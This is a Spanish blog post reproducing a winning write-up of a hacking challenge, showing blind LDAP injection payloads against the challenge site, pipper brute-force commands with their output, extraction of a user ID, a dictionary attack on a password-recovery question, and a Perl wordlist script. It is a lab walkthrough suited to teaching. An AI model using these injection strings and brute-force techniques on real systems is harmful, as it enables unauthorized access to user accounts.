REVENTANDO LDAP ...Pasitos I

COMO ATACAR LDAP sin morir en el intento I

Se lanzó un reto hace mucho tiempo por parte de Informática64 y "Chemita" Alonso y que he querido rescatar porque me da la gana .. no doy explicaciones, ya sabeís, voy por libre .. :p

Por lo tanto expongo UNA de las soluciones a una pequeña parte del reto que realizó nuestro amigo MANDINGO ... UN 10 por ti pedazo de hacker :p

Esta es su solución y como ganó el reto hacker:

Nivel 1 - Obteniendo e User ID | 

- Nivel 2 - Recordatorio de contrasenyas | 

- Apendice - Script "words.pl" | 

- Referencias | 

Nivel 1 - Obteniendo el User ID

Lo primero que llama la atencion despues de analizar las diferentes posibilidades que nos da la pagina "Default.aspx", es el extranyo funcionamiento del script que obtiene los recursos publicos.

Una consulta como esta:

http://retohacking4.elladodelmal.com/Default.aspx?recurso=Impresora&planta=Primera+Planta

Nos devuelve 3 impresoras como resultado.

Hasta ahi bien, pero que pasa cuando probamos algunos caraceres no esperados en la consulta?

recurso=* -> devuelve 6 impresoras. Aparentemente es la suma de los recursos disponibles en esta primera planta mostrados todos con el icono de la impresora

planta=* -> devuelve 6 impresoras, o lo que es igual, la suma de 3+1+2, impresoras por cada planta.

En un principio puede parecer que nos encontramos con un gestor de base de datos con alguna condicion del tipo "like", aunque extranya que el caracter comodin sea "*" en lugar de "%" o "?".

Probamos a introducir comillas simples y dobles en la URL sin obtener resultados de utilidad. 

Probamos tambien la herramienta "sqlibf" de "DarkRaver" disponible en "http://open-labs.org/ "para detectar posibles "blind sql injection", sin obtener resultados satisfactorios.

Al parecer, no se trata de un sistema de base de datos "clasico".

Si pensamos en los recursos como dispositivos fisicos, y como organiza Windows los mismos a traves del directorio activo, podemos pensar que nos encontramos antre un sistema que hace consultas del tipo LDAP. Ademas, si revisamos algun documento como el de "spi dynamics" que trata este tema, vemos que se suele utilizar bastante el "*" para realizar inyecciones. 

Ejemplos:

variable=*

variable=valor)(|(cn=*) 

variable=valor)(%26(cn=*) <- %26 = '&' 

Esto equivaldria mas o menos al "1' and '1'='1" usado en otros gestores de bases de datos. Por lo tanto, si agregamos esta cadena a una consulta, deberiamos de obtener los mismos resultados que la original.

http://retohacking4.elladodelmal.com/Default.aspx?recurso=Impresora)(%26(cn=*)&planta=Tercera+Planta 

Despues de realizar algunas otras pruebas, parece quedar confirmado que nos encontramos ante una inyeccion LDAP y que la unica informacion util para nosotros es obtener o no impresoras como respuesta, segun la consulta sea verdadera o falsa:

"Blind LDAP Injection?" <- esto es nuevo :)

Usando la herramienta "pipper" y revisando los RFC sobre ldap, vemos que existe un objeto "superior" dentro de toda la jerarquia del directorio llamado "top"; este objeto se obtuvo tambien bruteforceando los recursos con "pipper" aunque en un principio no se sabia que hacer con el.

Usaremos este objeto (top) para navegar en este arbol de recursos que nos proporciona este directorio en busqueda de algo que nos interese. En primer lugar, obtendremos los atributos que se pueden consultar en este objeto:

$ pipper "http://retohacking4.elladodelmal.com/Default.aspx?recurso=top)(|([file]=*))&planta=*)(|(cn=*)" -v file=/home/berto/wordlists/ldap_attr.txt -I -hw 704 -s

==[Options]===================================================

Url : http://retohacking4.elladodelmal.com/Default.aspx?

recurso=top)(|(o=[range]*))&planta=*)(|(cn=*)

Vars : range=a:z-A:Z-0:9

Payloads Path : /home/berto/perl_pruebas/pipper

Hide Words : 704

Download Page : yes

Sort Results : yes

Threads : 20 - Payload : range - Aprox Requests : 63

Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 

SrvError

==[Begin 11:55]===================================================

#00001 200 189 705 Default.aspx?recurso=top)(|(o=*))&planta=*)(|(cn=*)

#00019 200 189= 705 Default.aspx?recurso=top)(|(o=r*))&planta=*)(|(cn=*)

#00045 200 189= 705 Default.aspx?recurso=top)(|(o=R*))&planta=*)(|(cn=*)

==[End]===================================================

El diccionario "ldap_attr.txt", el cual contiene los atributos disponibles para cada objeto LDAP, ha sido generado a partir del siguiente documento:

http://docs.sun.com/source/816-6699-10/objclass.html

Este ataque por fuerza bruta muestra que atributos de "top" podemos consultar:

cn : commmon name (nombre del objeto consultado)

member : nombre del miembro de grupo

o : organizacion a la cual pertenece el grupo

ou : unidad organizativa a la que pertenece el grupo

Una vez conocido el nombre de estos atributos, vamos a usar "pipper" de nuevo para bruteforcear caracter a caracter los posibles valores de estos atributos:

$ pipper "http://retohacking4.elladodelmal.com/Default.aspx?recurso=top) \

(|(o=[range]*))&planta=*" -v range=a:z-A:Z-0:9 -I -hw 704 -s

==[Options]===================================================

Url : http://retohacking4.elladodelmal.com/Default.aspx?

recurso=top)(|(o=[range]*))&planta=*)(|(cn=*)

Vars : range=a:z-A:Z-0:9

Payloads Path : /home/berto/perl_pruebas/pipper

Hide Words : 704

Download Page : yes

Sort Results : yes

Threads : 20 - Payload : range - Aprox Requests : 63

Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 

SrvError

==[Begin 11:55]===================================================

#00001 200 189 705 Default.aspx?recurso=top)(|(o=*))&planta=*)(|(cn=*)

#00019 200 189= 705 Default.aspx?recurso=top)(|(o=r*))&planta=*)(|(cn=*)

#00045 200 189= 705 Default.aspx?recurso=top)(|(o=R*))&planta=*)(|(cn=*)

==[End]===================================================

De este resultado podemos concluir que existe una "organizacion" dentro del arbol LDAP que comienza por "r" o "R".

Nota: se pudo comprobar que es indiferente en este caso usar mayusculas o minusculas. En el caso de que la letra este en mayusculas se devuelve tambien como verdadero el valor en minusculas.

Una vez conocida este primer caracter, pasemos a obtener los siguientes usando el mismo metodo fijando esta vez la "r" (o=R*[range]).

Al cabo de un rato tenemos ya el valor de esta organizacion: "Retohacking4"

Una vez en este punto, queremos seguir "bajando" dentro del arbol LDAP del directorio, por lo que vamos a comprobar que otros atributos se pueden consultar dentro de esta "organizacion". 

Usando el mismo metodo de antes podemos obtener el nombre de un usuario:

http://retohacking4.elladodelmal.com/Default.aspx?recurso=top)

(|(o=Retohacking4)(%26(cn=arvin%20sloane))))&planta=* 

Y a partir de aqui, y siguiente el mismo metodo, su "uid" o "identificador de usuario" :) 

Vamos a la pagina de recordatorio de contrasemyas, introducimos este "uid" y listo, obtenemos la frase que nos lleva al segundo nivel.

Nivel 2 - Recordatorio de contrasenyas

Una vez obtenida la cuenta de usuario mediante la inyeccion LDAP, nos dirigimos al recordatorio de contraseñas.

En este punto se nos plantea la siguiente pregunta: 

"Donde se cerro el Circulo?"

La verdad es que la pregunta es bastante ambigua, y para aquellos que no hayan visto la serie, entre los que yo me incluyo, no da realmente pistas, por lo que puede parecer una pregunta con truco o algo que investigar.

Despues de probar cosas al azar, y teniendo en cuenta que toda esta historia tiene que tener algun sentido, llega el momento de recapacitar un poco y analizar "qué sabemos" y "qué tenemos".

** "Qué sabemos?" **

- sabemos el episodio donde se hace referencia por primera vez a la red "Profeta 5", 1er capitulo de la primera temporada. Es muy probable que se haga referencia a este "Circulo" durante esta temporada.

- sabemos que es un hecho pasado pero no somos capaces de determinar cuando fue. Volvemos a pensar en esta ultima temporada para averiguar la solucion.

- "Circulo", con la "C" en mayusculas. Parece hacer referencia a un grupo de confianza, organizacion, o algo similar.

** "Que tenemos?" **

- google

- wikipedia, tanto en ingles como en castellano para consultar tanto episodios como personajes de la serie.

- subtitulos de todas las temporadas para descargar 

- herramientas para generar diccionarios y lanzar ataques de fuerza bruta

Manos a la obra:

Buscamos en google las palabras circulo, temporada 5, alias, etc.. diferentes combinaciones sin exito. Este metodo parece ir para largo, sobre todo cuando se desconoce la serie, asi que lo dejamos aparcado de momento y pasamos a otra cosa.

Tras probar el nombre de diferentes lugares, ubicaciones, y hasta personajes al azar sin exito, se procede a crear un diccionario con todas las palabras que aparecen en la temporada 5 de la wikipedia: 

words.pl http://en.wikipedia.org/wiki/Alias_episodes_%28season_5%29 \

> /tmp/words.txt

Con estas palabras lanzaremos un ataque de fuerza bruta contra el formulario de recuperacion de contrasenya para intentar obtener la respuesta. Para ello utilizaremos la herramienta "pipper", la cual esta disponible en la siguiente direccion:

http://www.yoire.com/downloads.php?tag=pipper

Lanzaremos el ataque de la siguiente forma:

pipper \

"http://retohacking4.elladodelmal.com/Default.aspx?uid=[U]&respuesta=[file]"\

-v file=/tmp/words.txt -I -hw 

Donde [U] deberemos reemplazarlo por el usuario obtenido a traves de la inyeccion LDAP, y indica el numero de palabras de las respuestas que queremos ocultar; se recomienda leer el manual de pipper para entender mejor esta parte.

Despues de lanzar el ataque vemos que no se obtienen resultados satisfactorios, por lo tanto, puede estar pasando una de estas 4 cosas:

- La respuesta no se encuentra en la wikipedia.

- La respuesta es una palabra compuesta; el script "words.pl" no es capaz de identificar palabras compuestas.

- El formulario es sensible a mayusculas mininusculas.

- Varias de estas hipotesis pueden ser validas.

A continuacion se va a lanzar un ataque similar, pero esta vez, basandonos en los subtitulos de esta temporada. Con el script "words.pl" vamos a generar un nuevo diccionario y procederemos igual que antes.

Este ultimo ataque tampoco parece funcionar, ninguna palabra parece ser la respuesta válida.

Aqui es cuando ya te planteas ver la serie o tirar la toalla. Ver la serie teniendo en cuenta que es cuestion de tiempo que otro se lo pase antes, esta bien si la tienes en casa o te la pueden pasar... en cualquier otro caso, o tienes suerte o "vas dao" :)

Como no estamos dispuestos a tirar la toalla ahora que estamos tan cerca, volvemos de nuevo sobre lo que ya teniamos y habiamos dejamos aparcado...

Tras varias búsquedas infructuosas damos con lo siguiente:

-> buscar: alias season 5 circle

Entre otras paginas se nos muestra la siguiente:

http://www.neloo.com/alias/about7.html

Dentro de esta pagina podemos leer el siguiente parrafo:

"the circle will be complete when the Chosen One finds The Rose in San Chielo."

Una vez que introducimos el texto "San Chielo" en la respuesta del recordatorio de contrasenya junto con el usuario LDAP encontrado, obtenemos la contraseña del usuario superando asi el reto ;)

Apendice - script "words.pl" 

#!/usr/bin/perl

use WWW::Curl::Easy;

use strict;

my $file=$ARGV[0];

my ($header,$body);

if($#ARGV eq -1){

print "Usage: $0 \n";

exit;

}

if($file=~/^http/){

my $curl = new WWW::Curl::Easy;

$curl->setopt(CURLOPT_SSL_VERIFYPEER,0);

$curl->setopt(CURLOPT_SSL_VERIFYHOST,1);

$curl->setopt(CURLOPT_URL,$file);

$curl->setopt(CURLOPT_HEADERFUNCTION, \&header_callback );

$curl->setopt(CURLOPT_WRITEFUNCTION, \&body_callback );

push my @headers,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98";

$curl->setopt(CURLOPT_HTTPHEADER,\@headers);


$curl->perform();

}

$body=`cat $file` if (-e $file);


$body=~s/[script.*?[\/script]/ /gsm;

$body=~s// /gsm;

$body=~s/<[^>]*>?/ /gsm;

$body=~s/ / /gsm;

$body=~s/&(.)acute;/$1/gsm;

$body=~s/ñ/n/gsm;

$body=~tr/àáèéìíòóùúñ/aaeeiioouun/;

$body=~s/&[^;]*;?/ /gsm;

$body=~s/\W/ /gsm;

$body=~s/\s+/SPACE/gsm;

$body=~s/(SPACE)+/ /gsm;


my @words=split(" ",lc($body));

my @uniq=sort(keys %{{ map { $_ => 1 } @words }});


@uniq=grep(/\w{3,}/,@uniq);

print join("\n",@uniq),"\n";

sub header_callback {

my $chunk = shift;

$header.=$chunk;

return length($chunk);

}

sub body_callback {

my ( $chunk, $handle ) = @_;

$body.=$chunk;

return length($chunk);

}


Referencias 

* Reto Hacking 4: http://retohacking4.elladodelmal.com/

* Pipper v1.23: http://www.yoire.com/downloads.php?tag=pipper

* Sqlibf: http://open-labs.org/

* Referencia de objetos LDAP: http://docs.sun.com/source/816-6699-10/objclass.html

* RFC2307 - An approach for using LDAP as a Network Information...:

http://www.faqs.org/rfcs/rfc2307.html


GRACIAS CHEMA POR EL RETO

                                          MAQUIAVELO

Entradas populares de este blog

SHELLCODES por un tubo ....

Proteger ASP.NET de inyecciones SQL How T0? BEST PRACTICES

CERTIFICACIONES DE SEGURIDAD